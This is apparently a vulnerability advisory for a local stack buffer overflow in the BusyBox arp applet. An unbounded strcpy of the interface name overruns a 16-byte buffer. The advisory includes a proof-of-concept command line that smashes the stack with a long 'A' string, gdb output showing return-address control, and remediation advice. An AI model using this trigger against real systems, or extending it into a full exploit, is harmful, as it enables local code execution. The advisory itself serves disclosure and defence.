Vulnerability Description
BusyBox provides an `arp` applet which is missing an array bounds check for command-line parameter `IFNAME`. It is therefore vulnerable to a command-line based local stack buffer overwrite effectively allowing local users to write past a 16 bytes fixed stack buffer. This leads to two scenarios, one (A) where an IOCTL for GET_HW_ADDRESS (`SIOCGIFHWADDR`) fails and results in a corrupted `va_list` being passed to `*printf()` and one (B) where an attacker might provide valid params for the IOCTL and trick the program to proceed and result in a `RET eip overwrite` eventually gaining code execution.
Technical Details
By providing an overly long string for param `IFNAME` while setting `-D` (read HW Address from IFACE) and `-s` (set new entry) a strcpy operation can be reached that allows to write past the stack buffer `ifreq.ifr_name[IFANMESIZ]` [5,6]
# ./busybox arp --help BusyBox v1.23.0.git (2014-12-26 19:27:13 CET) multi-call binary. Usage: arp [-vn] [-H HWTYPE] [-i IF] -a [HOSTNAME] [-v] [-i IF] -d HOSTNAME [pub] [-v] [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [temp] [-v] [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [netmask MASK] pub [-v] [-H HWTYPE] [-i IF] -Ds HOSTNAME IFACE [netmask MASK] pub Manipulate ARP cache -a Display (all) hosts -d Delete ARP entry -s Set new entry -v Verbose -n Don't resolve names -i IF Network interface -D Read HWADDR from IFACE -A,-p AF Protocol family -H HWTYPE Hardware address type
Details: arp.c
The stack buffer overflow manifests in arp.c
Taint Graph
busybox arp -> arp.c:477 - arp_main (argc, argv) -> arp.c:524 - arp_set (argv) -> arp.c:263: - arp_getdevhw (ifname=*args++) -> arp.c:332: - strcpy (dst=fixed_buffer,src=ifname) // --- stack is messed up now - arbitrary stack local vars overwritten already (including stored eip) --- -> arp.c:222 ioctl_or_perror_and_die(,,ifr,<static_string>,ifname) // A) ioctl_or_perror_and_die - FAILS - due to messed up stack -> xfuncs_printf.c:508 - bb_verror_msg(fmt=<static_string>,valist p,strerr(errno)) -> verror_msg.c:31 - vasprintf(&msg, s=fmt, valist p); // B) ioctl_or_perror_and_die - SUCCEEDS - due to attacker providing reasonable values for IOCTL -> arp.c:238 - RETURN - stack messed up, direct eip control
Vulnerable Code
1. No bounds check in `arp_main`
int arp_main(int argc UNUSED_PARAM, char **argv) { ... /* Now see what we have to do here... */ if (opts & (ARP_OPT_d | ARP_OPT_s)) { /** !! -d and -s must be set*/ if (argv[0] == NULL) /** !! argument must be set == IFNAME*/ bb_error_msg_and_die("need host name"); if (opts & ARP_OPT_s) return arp_set(argv); /** !! argv never checked, pass to arp_set (tainted)*/ return arp_del(argv); } ... }
2. No bounds check in arp_set
static int arp_set(char **args) /** !! args==IFNAME (tainted)*/ { ... /* Fetch the hardware address. */ if (*args == NULL) { /** !! IFNAME must be set*/ bb_error_msg_and_die("need hardware address"); } if (option_mask32 & ARP_OPT_D) { /** !! -d must be set*/ arp_getdevhw(*args++, &req.arp_ha); /** !! args never checked, pass to arp_getdevhw*/ } else { if (hw->input(*args++, &req.arp_ha) < 0) { bb_error_msg_and_die("invalid hardware address"); } } ... }
3. No bounds check and buffer overwrite in arp_getdevhw
static void arp_getdevhw(char *ifname, struct sockaddr *sa) /** !! ifname==args (tainted)*/ { struct ifreq ifr; /** !! static stack struct, sizeof(ifreq)==40*/ const struct hwtype *xhw; /** !! static stack struct, sizeof(hwtype)==64*/ strcpy(ifr.ifr_name, ifname); /** !! overwrites ifr.ifr_name[IFNAMESIZ==16] by strlen(ifname)*/ ioctl_or_perror_and_die(sockfd, SIOCGIFHWADDR, &ifr, "can't get HW-Address for '%s'", ifname); /** !! will do the IOCTL and die on errors*/ if (hw_set && (ifr.ifr_hwaddr.sa_family != hw->type)) { /** !! Skip - hw_set is only set by -H|-t*/ bb_error_msg_and_die("protocol type mismatch"); } memcpy(sa, &(ifr.ifr_hwaddr), sizeof(struct sockaddr)); /** !! Skip - we do not care*/ if (option_mask32 & ARP_OPT_v) { /** !! Skip - we do not specify -v*/ xhw = get_hwntype(ifr.ifr_hwaddr.sa_family); if (!xhw || !xhw->print) { xhw = get_hwntype(-1); } bb_error_msg("device '%s' has HW address %s '%s'", ifname, xhw->name, xhw->print((unsigned char *) &ifr.ifr_hwaddr.sa_data)); } } /** !! if we do not fail in IOCTL we'll land here - direct EIP control*/
Arbitrary length (may be limited by os) string `IFNAME` overwrites 16 bytes fixed buffer `ifreq.ifr_name[IFANMESIZ]` [5,6].
4. stack is messed up before IOCTL for SIOCGIFHWADDR in ioctl_or_perror_and_die
We control any fields below `ifr.ifr_name` – which essentially is any ifreq field, see below – allowing us to call `SIOCGIFHWADDR IOCTL` with user controlled fields and pot. let it die or make it succeed. If the `IOCTL` fails it will make the process die in `vsprintf()` due to messed up va_args on stack. If the `IOCT`L succeeds, it will make the process continue, copy taken from [5]
203 struct ifreq { 204 #define IFHWADDRLEN 6 205 union 206 { 207 char ifrn_name[IFNAMSIZ]; /* if name, e.g. "en0" */ /** !! we overflow here */ 208 } ifr_ifrn; 209 210 union { 211 struct sockaddr ifru_addr; 212 struct sockaddr ifru_dstaddr; 213 struct sockaddr ifru_broadaddr; 214 struct sockaddr ifru_netmask; 215 struct sockaddr ifru_hwaddr; 216 short ifru_flags; 217 int ifru_ivalue; 218 int ifru_mtu; 219 struct ifmap ifru_map; 220 char ifru_slave[IFNAMSIZ]; /* Just fits the size */ 221 char ifru_newname[IFNAMSIZ]; 222 void __user * ifru_data; 223 struct if_settings ifru_settings; 224 } ifr_ifru; 225 };
5. a) IOCTL fails
//xfuncs_printf.c:508 int FAST_FUNC ioctl_or_perror_and_die(int fd, unsigned request, void *argp, const char *fmt,...) { int ret; va_list p; /** !! stack is messed up */ ret = ioctl(fd, request, argp); if (ret < 0) { va_start(p, fmt); bb_verror_msg(fmt, p, strerror(errno)); /** !! valist p is corrupt, stack is messed up, and we fail, printing error*/ /* xfunc_die can actually longjmp, so be nice */ va_end(p); xfunc_die(); } return ret; }
//verror_msg.c:31 - vasprintf(&msg, s=fmt, valist p); void FAST_FUNC bb_verror_msg(const char *s, va_list p, const char* strerr) { char *msg, *msg1; int applet_len, strerr_len, msgeol_len, used; if (!logmode) return; if (!s) /* nomsg[_and_die] uses NULL fmt */ s = ""; /* some libc don't like printf(NULL) */ used = vasprintf(&msg, s, p); /** !! valist p is corrupt */ if (used < 0) return; ... }
6. b) IOCTL does not fail
As described in 3./4. the code proceeds with returning from `arp_getdevhw` eventually executing code from the `strcpy()` based overflow. (RET overwrite)
Proof of Concept
Brutally smash the stack buffer (provide any IP as arg `HOSTNAME` to bypass name resolver):
# ./busybox arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99") Segmentation fault # dmesg busybox[5135]: segfault at 41414141 ip 080b8a5b sp bfa924fc error 4 in busybox[8048000+1fd000] # gdb --args ./busybox_unstripped arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99") (gdb) r ... Program received signal SIGSEGV, Segmentation fault. 0x080b8a5b in vfprintf () (gdb) i r eax 0x0 0 ecx 0xffffffff -1 edx 0x0 0 ebx 0xbffff42c -1073744852 esp 0xbfffee6c 0xbfffee6c ebp 0xbffff408 0xbffff408 esi 0x1a 26 edi 0x41414141 1094795585 eip 0x80b8a5b 0x80b8a5b <vfprintf+13739> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) bt #0 0x080b8a5b in vfprintf () #1 0x0805b629 in vasprintf () #2 0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device") at libbb/verror_msg.c:31 #3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'") at libbb/xfuncs_printf.c:508 #4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222 #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () ... (gdb) bt full #0 0x080b8a5b in vfprintf () No symbol table info available. #1 0x0805b629 in vasprintf () No symbol table info available. #2 0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device") at libbb/verror_msg.c:31 msg = 0x13 <Address 0x13 out of bounds> msg1 = 0x0 applet_len = -1073744492 strerr_len = -1073744524 msgeol_len = 0 used = -1073744508 #3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'") at libbb/xfuncs_printf.c:508 ret = -1 p = 0xbffff540 'A' <repeats 103 times> #4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222 ifr = {ifr_ifrn = {ifrn_name = 'A' <repeats 16 times>}, ifr_ifru = {ifru_addr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_dstaddr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_broadaddr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_netmask = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_hwaddr = { sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_flags = 16705, ifru_ivalue = 1094795585, ifru_mtu = 1094795585, ifru_map = { mem_start = 1094795585, mem_end = 1094795585, base_addr = 16705, irq = 65 'A', dma = 65 'A', port = 65 'A'}, ifru_slave = 'A' <repeats 16 times>, ifru_newname = 'A' <repeats 16 times>, ifru_data = 0x41414141 <Address 0x41414141 out of bounds>}} #5 0x41414141 in ?? () No symbol table info available. #6 0x41414141 in ?? () No symbol table info available. #7 0x41414141 in ?? ()
A debugging session shows that we messed up the `va_list` on stack with the user provided string.
crosscheck: valid run (no crash expected, `IFNAME=AAAAA`):
# gdb --args ./busybox_unstripped arp -Ds 1.1.1.1 $(python -c "print 'A'*(5)") (gdb) b ioctl_or_perror_and_die Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501. (gdb) r Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAA Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff5a4, fmt=0x820cc85 "can't get HW-Address for '%s'") at libbb/xfuncs_printf.c:501 501 { (gdb) s 505 ret = ioctl(fd, request, argp); (gdb) s 506 if (ret < 0) { (gdb) s 507 va_start(p, fmt); (gdb) s 508 bb_verror_msg(fmt, p, strerror(errno)); (gdb) x/10s p 0xbffff5a0: "\375\370\377\277AAAAA" /** !! valid va_list struct for 5*A*/ 0xbffff5aa: "\377\277\365\370\377\277" 0xbffff5b1: "" 0xbffff5b2: "" 0xbffff5b3: "" 0xbffff5b4: "\300\207$\bp9\022\b\324\365\377\277\365\370\377\277b7\021\b\375\370\377\277\364\365\377\277D" 0xbffff5d2: "" 0xbffff5d3: "" 0xbffff5d4: "\002" 0xbffff5d6: "" (gdb)
see inline comments: va_list on stack shown by `x/10s p`
now overflow `va_list` by providing `IFNAME=A*(64+40+40)` (crash expected):
gdb --args ./busybox_unstripped arp -Ds 1.1.1.1 $(python -c "print 'A'*(64+40+40)") (gdb) ioctl_or_perror_and_die Undefined command: "ioctl_or_perror_and_die". Try "help". (gdb) b ioctl_or_perror_and_die Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501. (gdb) r Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff514, fmt=0x820cc85 "can't get HW-Address for '%s'") at libbb/xfuncs_printf.c:501 501 { (gdb) s 505 ret = ioctl(fd, request, argp); (gdb) s 506 if (ret < 0) { (gdb) s 507 va_start(p, fmt); (gdb) s 508 bb_verror_msg(fmt, p, strerror(errno)); (gdb) x/10s p 0xbffff510: 'A' <repeats 148 times> /** !! INVALID va_list struct, missing header*/ 0xbffff5a5: "\271\004\b" 0xbffff5a9: "\231\357pU?\021\b\030\367\377\277\177\315 \b\314\365\377\277\314\365\377\277\320\365\377\277\320\365\377\277È$\b" 0xbffff5cd: "\231\357p\330\366\377\277" 0xbffff5d5: "\003" 0xbffff5d7: "" 0xbffff5d8: "" 0xbffff5d9: "" 0xbffff5da: "" 0xbffff5db: "" (gdb)
see inline comment: `va_list` is messed up.
Remediation Steps
`strcpy` => `strncpy(dst,src,n=sizeof(ifreq.ifr_name)-1)` or less error prone but more overhead `snprintf()`
References
[1] http://busybox.net
[2] http://busybox.net/downloads/?C=M;O=A
[3] http://git.busybox.net/busybox/commit/networking/arp.c?id=88e2b1cb626761b1924305b761a5dfc723613c4e
[4] https://en.wikipedia.org/wiki/BusyBox
[5] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L203
[6] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L26
Vulnerable Versions
BusyBox version 1.23.1
BusyBox version after 1.4.0
Immune Versions
BusyBox version prior to 1.4.0